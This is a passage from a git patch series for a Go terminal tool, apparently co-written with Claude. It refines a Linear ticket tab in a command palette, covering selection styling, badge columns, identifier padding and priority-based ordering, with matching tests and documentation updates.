h.commandPalette.rebuildFiltered() + + got := renderedPalette(t, h) + if strings.Contains(got, "In Progress 1") { + t.Errorf("filtering must drop the group headers:\n%s", got) + } + if !strings.Contains(got, "In Progress") { + t.Errorf("a filtered row must carry its state, since no header does:\n%s", got) + } +} diff --git a/internal/ui/styles.go b/internal/ui/styles.go index 7eeabf44..e5af85be 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -124,6 +124,11 @@ var ( // Panel title style (cyan/blue like agent-deck). PanelTitleStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBlue) + // PaletteSectionStyle labels a group of palette rows (a Linear state). Dim + // and uppercase-spaced so it reads as structure rather than as another row + // competing with the ones under it. + PaletteSectionStyle = lipgloss.NewStyle().Foreground(ColorTextDim).Bold(true) + // Header bar style — no background fill so the top bar reads as part of // the canvas, not a separate ribbon. HeaderBarStyle = lipgloss.NewStyle().Padding(0, 1) @@ -207,6 +212,11 @@ func ApplyPalette(p Palette) { SessionStatusSelDimStyle = lipgloss.NewStyle().Foreground(ColorText).Background(ColorBorder) PanelTitleStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBlue) + + // PaletteSectionStyle labels a group of palette rows (a Linear state). Dim + // and uppercase-spaced so it reads as structure rather than as another row + // competing with the ones under it. + PaletteSectionStyle = lipgloss.NewStyle().Foreground(ColorTextDim).Bold(true) HeaderBarStyle = lipgloss.NewStyle().Padding(0, 1) HelpKeyStyle = lipgloss.NewStyle().Foreground(ColorAccent).Bold(true) From b926b1a76c5e301fb75c07e4d6266cde2c86e9ce Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 18:18:55 +0300 Subject: [PATCH 12/23] fix(ui): make the palette's selection and ticket rows readable MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three things, all visible only with real data on screen. The selected row filled just its name column and stopped dead, which reads as a rendering fault rather than a selection — and it filled with the loud accent, shouting across 96 columns. The fill now spans the whole row and uses the quiet border-background pair the sidebar already uses for a selected row, leaving the accent to the ▸ marker that already says which row it is. Ticket rows printed both a status dot and a status word, so one fact appeared twice, muted, at opposite ends of the row — while the word ate the width the title needed. The dot keeps it; the word is gone. Titles now run the full width. The badge column is chosen by tab rather than by kind. Inside the tickets tab every row is a ticket, so "tkt" says nothing and the useful fact is whether the work exists here yet. In the mixed tab, a blank badge reads as a missing badge rather than as "not in fleet", so there it is a plain tkt label. Also pads identifiers to a common width, so BRZ-453 and BRZ-3142 start their titles in the same column instead of one character apart. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/command_palette.go | 21 ++++++++++++-- internal/ui/palette_tickets.go | 19 ++++++++++-- internal/ui/palette_tickets_test.go | 45 ++++++++++++++++++++++------- internal/ui/styles.go | 18 ++++++++++++ 5 files changed, 87 insertions(+), 18 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 3ba7c66c..fa79f635 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -154,7 +154,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type** then **position**: type survives a team renaming its states, and position is what puts *In Progress* above *In Review*. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column answers *is this in fleet* using the sidebar's own dot and colour, and a ticket with no worktree is **blank** rather than dimly marked — absence should read as absence down the column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type** then **position**: type survives a team renaming its states, and position is what puts *In Progress* above *In Review*. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index c763e218..16acfbf6 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -465,8 +465,13 @@ func (d *CommandPaletteDialog) View() string { prefix = SessionSelectionPrefix.Render("▸ ") } + // The badge column answers a different question per context, so it + // is chosen by tab rather than by kind alone. In the tickets tab + // every row is a ticket, so "tkt" would say nothing and the useful + // fact is whether the work exists here yet. In the mixed tab a + // blank reads as a missing badge, not as "not in fleet". badge := renderKindBadge(it.Kind) - if it.Kind == PaletteKindTicket { + if it.Kind == PaletteKindTicket && d.activeTab == PaletteTabTickets { badge = renderTicketBadge(it.PaletteItem) } @@ -481,7 +486,7 @@ func (d *CommandPaletteDialog) View() string { namePad := strings.Repeat(" ", nameCol-runeLen(rawName)) var name string if selected { - name = SessionTitleSelStyle.Render(rawName + namePad) + name = PaletteSelectedStyle.Render(rawName + namePad) } else { name = highlightMatches(rawName, nameIdx) + namePad } @@ -494,7 +499,15 @@ func (d *CommandPaletteDialog) View() string { } right = truncRunes(right, rightBudget) - b.WriteString(prefix + badge + " " + name + " ") + b.WriteString(prefix + badge + " " + name) + if selected { + // Carry the fill across the gap and the right column, padded to + // the row, so the selection is one continuous band. + b.WriteString(PaletteSelectedDimStyle.Render(" " + pad(right, rightBudget))) + b.WriteString("\n") + continue + } + b.WriteString(" ") if right != "" { if highlightRight { b.WriteString(highlightMatchesDim(right, detailIdx)) @@ -569,6 +582,8 @@ func renderKindBadge(k PaletteItemKind) string { label, col = "repo", ColorPurple case PaletteKindWorktree: label, col = "wkt ", ColorGreen + case PaletteKindTicket: + label, col = "tkt ", ColorBlue default: label, col = "cmd ", ColorTextDim } diff --git a/internal/ui/palette_tickets.go b/internal/ui/palette_tickets.go index e603a183..d87d07c6 100644 --- a/internal/ui/palette_tickets.go +++ b/internal/ui/palette_tickets.go @@ -111,12 +111,22 @@ func ticketSessionRank(s *session.Session) int { func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { byTicket := h.sessionsByTicket(tickets) + // Identifiers vary in length (BRZ-453 vs BRZ-3142), so pad them to the + // widest in the set: otherwise every title starts at a slightly different + // column and the list reads as ragged rather than as a table. + idWidth := 0 + for _, t := range tickets { + if n := len(t.Identifier); n > idWidth { + idWidth = n + } + } + items := make([]PaletteItem, 0, len(tickets)) for _, t := range tickets { it := PaletteItem{ Kind: PaletteKindTicket, ID: t.Identifier, - Name: fmt.Sprintf("%s %s", t.Identifier, t.Title), + Name: fmt.Sprintf("%-*s %s", idWidth, t.Identifier, t.Title), // The Linear state is the group header, so it is deliberately NOT // repeated on every row. The right column carries what fleet knows // instead — and stays empty when there is nothing to say. @@ -125,12 +135,15 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { // renderer maps matched haystack indexes back onto those two // strings by offset. Composing it any other way lights up the // wrong characters. - Haystack: fmt.Sprintf("%s %s %s", t.Identifier, t.Title, t.StateName), + Haystack: fmt.Sprintf("%-*s %s %s", idWidth, t.Identifier, t.Title, t.StateName), } if s := byTicket[t.Identifier]; s != nil { it.HasSession = true it.SessionStatus = s.Status - it.Detail = string(s.Status) + // Deliberately no status WORD. The dot already carries it, in the + // colour and shape the sidebar uses, and printing "suspended" at + // the far right said the same thing a second time — while eating + // the width the title needed. One fact, one place. } items = append(items, it) } diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index 0205db8c..d0957dbe 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -103,16 +103,22 @@ func TestTicketRowsCarryTheirSession(t *testing.T) { for _, it := range items { byID[it.ID] = it } - if !strings.Contains(byID["BRZ-2644"].Detail, "running") { - t.Errorf("BRZ-2644 should report its live session, got %q", byID["BRZ-2644"].Detail) + if !byID["BRZ-2644"].HasSession || byID["BRZ-2644"].SessionStatus != session.StatusRunning { + t.Errorf("BRZ-2644 should carry its live session, got %+v", byID["BRZ-2644"]) } - if !strings.Contains(byID["BRZ-2996"].Detail, "waiting") { - t.Errorf("BRZ-2996 should report its live session, got %q", byID["BRZ-2996"].Detail) + if !byID["BRZ-2996"].HasSession || byID["BRZ-2996"].SessionStatus != session.StatusWaiting { + t.Errorf("BRZ-2996 should carry its live session, got %+v", byID["BRZ-2996"]) } - // A ticket with no worktree must say only its Linear state — inventing a - // session status for it would be a lie about the machine. - if strings.Contains(byID["BRZ-3013"].Detail, "·") { - t.Errorf("BRZ-3013 has no session; detail should be the state alone, got %q", byID["BRZ-3013"].Detail) + // A ticket with no worktree must be plainly absent, not merely quiet. + if byID["BRZ-3013"].HasSession { + t.Error("BRZ-3013 has no worktree and must not claim a session") + } + // The status is carried by the badge, never repeated as a word — the dot + // already says it, and the word ate the width the title needed. + for _, it := range items { + if it.Detail != "" { + t.Errorf("%s carries a redundant detail %q; the badge is the status", it.ID, it.Detail) + } } // Typing either the number or a word from the title must find the row. @@ -197,9 +203,22 @@ func TestTicketTabLayout(t *testing.T) { if strings.Count(got, "In Progress") != 1 { t.Errorf("the Linear state should appear once, as a header, not on every row:\n%s", got) } - // Fleet presence: the session's status is on the row that has one. - if !strings.Contains(got, "running") { - t.Errorf("a ticket with a live session must say so:\n%s", got) + // Fleet presence is the badge: a session shows a dot, and a ticket with no + // worktree shows nothing at all in that column. + var withSession, without string + for _, line := range strings.Split(got, "\n") { + if strings.Contains(line, "BRZ-2644") { + withSession = line + } + if strings.Contains(line, "BRZ-3142") { + without = line + } + } + if !strings.ContainsAny(withSession, "●◐○✕·") { + t.Errorf("a ticket with a live session must carry a status dot: %q", withSession) + } + if strings.ContainsAny(without, "●◐○✕·") { + t.Errorf("a ticket with no worktree must leave the badge column blank: %q", without) } // A ticket row must never be badged "cmd" — the badge column is where // "is this in fleet" lives. @@ -208,6 +227,10 @@ func TestTicketTabLayout(t *testing.T) { t.Errorf("ticket row carries a cmd badge: %q", line) } } + // Identifiers pad to a common width so titles start in one column. + if !strings.Contains(got, "BRZ-2732 audit") { + t.Errorf("identifiers should pad to a common width so titles align:\n%s", got) + } // Titles must not be truncated to nothing on a wide terminal. if !strings.Contains(got, "Storage optimization") { t.Errorf("title was truncated despite the width being available:\n%s", got) diff --git a/internal/ui/styles.go b/internal/ui/styles.go index e5af85be..2a08b987 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -124,6 +124,15 @@ var ( // Panel title style (cyan/blue like agent-deck). PanelTitleStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBlue) + // PaletteSelectedStyle and PaletteSelectedDimStyle fill the WHOLE selected + // row, not just its name column — a fill that stops mid-row reads as a + // rendering fault rather than a selection. Deliberately the quiet + // border-background pair the sidebar uses for a selected row, with the + // accent left to the ▸ marker: a solid accent fill across 96 columns + // shouts, and the marker already says which row it is. + PaletteSelectedStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorText).Background(ColorBorder) + PaletteSelectedDimStyle = lipgloss.NewStyle().Foreground(ColorTextDim).Background(ColorBorder) + // PaletteSectionStyle labels a group of palette rows (a Linear state). Dim // and uppercase-spaced so it reads as structure rather than as another row // competing with the ones under it. @@ -213,6 +222,15 @@ func ApplyPalette(p Palette) { PanelTitleStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorBlue) + // PaletteSelectedStyle and PaletteSelectedDimStyle fill the WHOLE selected + // row, not just its name column — a fill that stops mid-row reads as a + // rendering fault rather than a selection. Deliberately the quiet + // border-background pair the sidebar uses for a selected row, with the + // accent left to the ▸ marker: a solid accent fill across 96 columns + // shouts, and the marker already says which row it is. + PaletteSelectedStyle = lipgloss.NewStyle().Bold(true).Foreground(ColorText).Background(ColorBorder) + PaletteSelectedDimStyle = lipgloss.NewStyle().Foreground(ColorTextDim).Background(ColorBorder) + // PaletteSectionStyle labels a group of palette rows (a Linear state). Dim // and uppercase-spaced so it reads as structure rather than as another row // competing with the ones under it. From 0bbb1152a7746e5a3eb83eccb8b7c92efb89c0bb Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 18:24:52 +0300 Subject: [PATCH 13/23] feat(linear): order tickets by priority and show it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The tab ordered by state, then by whatever the server returned — which is updatedAt. That left both Urgent tickets in the Todo group sitting at positions 1 and 5, scattered among Mediums. Now: state, then priority, then recency. Recency has to survive as the tiebreak rather than being replaced, because most of a real backlog shares one priority — 21 of 50 in the workspace this was built against were High — and priority alone would leave that block reordering itself between opens for no visible reason. PriorityRank exists because the raw number cannot be sorted on: Linear uses 0 for "not set", so ascending order would float every unprioritised ticket above the urgent ones. Because the list now sorts on priority, priority is visible: "!!" urgent, "!" high, blank for everything else. Ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was just trimmed to avoid — blank-is-normal matches how the badge column already works. Shape rather than colour, because the status dot owns colour in this list and a second colour language would make neither readable. Verified against the live workspace: Urgent, then High, then unmarked, with recency intact inside each band. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/linear/api.go | 34 +++++++++++-- internal/linear/linear.go | 5 ++ internal/linear/linear_test.go | 74 ++++++++++++++++++++++++++--- internal/ui/palette_tickets.go | 23 ++++++++- internal/ui/palette_tickets_test.go | 53 +++++++++++++++++++++ 6 files changed, 178 insertions(+), 13 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index fa79f635..01801c60 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -154,7 +154,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type** then **position**: type survives a team renaming its states, and position is what puts *In Progress* above *In Review*. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown** — `!!` urgent, `!` high, blank otherwise; ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was trimmed to avoid. Shape rather than colour, since the status dot owns colour here. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/linear/api.go b/internal/linear/api.go index aa9babd5..260dc4e4 100644 --- a/internal/linear/api.go +++ b/internal/linear/api.go @@ -246,7 +246,7 @@ const assignedIssuesQuery = `query Mine($first: Int!) { filter: { state: { type: { nin: ["completed", "canceled"] } } } orderBy: updatedAt ) { - nodes { identifier title url state { name type position } } + nodes { identifier title url priority state { name type position } } } } }` @@ -270,6 +270,7 @@ type issueLite struct { Identifier string `json:"identifier"` Title string `json:"title"` URL string `json:"url"` + Priority int `json:"priority"` State *struct { Name string `json:"name"` Type string `json:"type"` @@ -297,7 +298,7 @@ func (i *issueLite) ticket() Ticket { if i == nil { return Ticket{} } - t := Ticket{Identifier: i.Identifier, Title: i.Title, URL: i.URL} + t := Ticket{Identifier: i.Identifier, Title: i.Title, URL: i.URL, Priority: i.Priority} if i.State != nil { t.StateName, t.StateType = i.State.Name, i.State.Type } @@ -477,6 +478,25 @@ func MoveToStarted(ctx context.Context, issue *issueFull) (string, error) { // stateTypeRank orders Linear's state categories by how close the work is to // your hands. Ranking on the TYPE rather than the name is what makes this work // on a team that renamed its states. +// PriorityRank orders Linear's priorities most-urgent-first. +// +// It exists because the raw number cannot be sorted on: Linear uses 0 for "not +// set", so ascending order would put every unprioritised ticket above the +// urgent ones. Unset sorts last, which is what "not set" should mean in a queue. +func PriorityRank(p int) int { + switch p { + case 1: // urgent + return 0 + case 2: // high + return 1 + case 3: // medium + return 2 + case 4: // low + return 3 + } + return 4 // unset +} + func stateTypeRank(t string) int { switch t { case "started": @@ -517,12 +537,20 @@ func AssignedIssues(ctx context.Context, limit int) ([]Ticket, error) { // and "In Review" leading the list. A work queue wants the one you are // actually in the middle of. nodes := out.Viewer.AssignedIssues.Nodes + // State, then priority, then whatever the server gave us — which is + // updatedAt. Recency has to be the tiebreak rather than the whole rule: + // most of a real backlog shares one priority (21 of 50 here were High), and + // priority alone would leave that block in an order that shifts between + // opens for no visible reason. sort.SliceStable(nodes, func(a, b int) bool { ra, rb := stateTypeRank(nodes[a].stateType()), stateTypeRank(nodes[b].stateType()) if ra != rb { return ra < rb } - return nodes[a].statePosition() < nodes[b].statePosition() + if pa, pb := nodes[a].statePosition(), nodes[b].statePosition(); pa != pb { + return pa < pb + } + return PriorityRank(nodes[a].Priority) < PriorityRank(nodes[b].Priority) }) tickets := make([]Ticket, 0, len(nodes)) diff --git a/internal/linear/linear.go b/internal/linear/linear.go index 68ab8c41..f1490cae 100644 --- a/internal/linear/linear.go +++ b/internal/linear/linear.go @@ -89,6 +89,11 @@ type Ticket struct { Title string URL string StateName string + // Priority is Linear's numeric priority: 1 urgent, 2 high, 3 medium, + // 4 low, 0 unset. Note that 0 means "not set" rather than "most + // important", which is why it cannot be sorted on directly. + Priority int + // StateType is Linear's own category for the state — "started", // "unstarted", "backlog", "triage". Carried alongside the name because the // name is whatever a team called it ("In Dev", "Doing") and cannot be diff --git a/internal/linear/linear_test.go b/internal/linear/linear_test.go index bfa5f288..dcab651e 100644 --- a/internal/linear/linear_test.go +++ b/internal/linear/linear_test.go @@ -494,14 +494,13 @@ func resetCredentialForTest() { // handed off. func TestAssignedIssuesOrderPutsWorkInHand(t *testing.T) { mk := func(id, name, typ string, pos float64) issueLite { - n := issueLite{Identifier: id, Title: id} - n.State = &struct { - Name string `json:"name"` - Type string `json:"type"` - Position float64 `json:"position"` - }{Name: name, Type: typ, Position: pos} - return n + return mkWithPriority(id, name, typ, pos, 0) } + mkp := func(id, name, typ string, pos float64, pri int) issueLite { + return mkWithPriority(id, name, typ, pos, pri) + } + _ = mkp + nodes := []issueLite{ mk("BRZ-4", "Backlog", "backlog", 0), mk("BRZ-3", "Todo", "unstarted", 1), @@ -536,3 +535,64 @@ func TestAssignedIssuesOrderPutsWorkInHand(t *testing.T) { t.Errorf("a stateless issue should sort last, got order ending in %s", nodes[len(nodes)-1].Identifier) } } + +// mkWithPriority builds a decoded node for the ordering tests. +func mkWithPriority(id, stateName, stateType string, pos float64, pri int) issueLite { + n := issueLite{Identifier: id, Title: id, Priority: pri} + n.State = &struct { + Name string `json:"name"` + Type string `json:"type"` + Position float64 `json:"position"` + }{Name: stateName, Type: stateType, Position: pos} + return n +} + +// TestPriorityOrderingWithinAState pins the second sort key. +// +// The raw Linear number cannot be sorted on: 0 means "not set", so ascending +// order would float every unprioritised ticket above the urgent ones. And +// priority alone is not enough — most of a real backlog shares one priority +// (21 of 50 in the workspace this was built against were High), so recency has +// to survive as the tiebreak or that block reorders itself between opens. +func TestPriorityOrderingWithinAState(t *testing.T) { + if got := PriorityRank(0); got <= PriorityRank(4) { + t.Errorf("unset priority ranked %d, must sort BELOW low (%d)", got, PriorityRank(4)) + } + for _, c := range []struct{ hi, lo int }{{1, 2}, {2, 3}, {3, 4}, {4, 0}} { + if PriorityRank(c.hi) >= PriorityRank(c.lo) { + t.Errorf("priority %d should outrank %d", c.hi, c.lo) + } + } + + // Same state, mixed priorities, entering in a deliberately unhelpful order. + nodes := []issueLite{ + mkWithPriority("BRZ-none", "Todo", "unstarted", 1, 0), + mkWithPriority("BRZ-high-a", "Todo", "unstarted", 1, 2), + mkWithPriority("BRZ-urgent", "Todo", "unstarted", 1, 1), + mkWithPriority("BRZ-high-b", 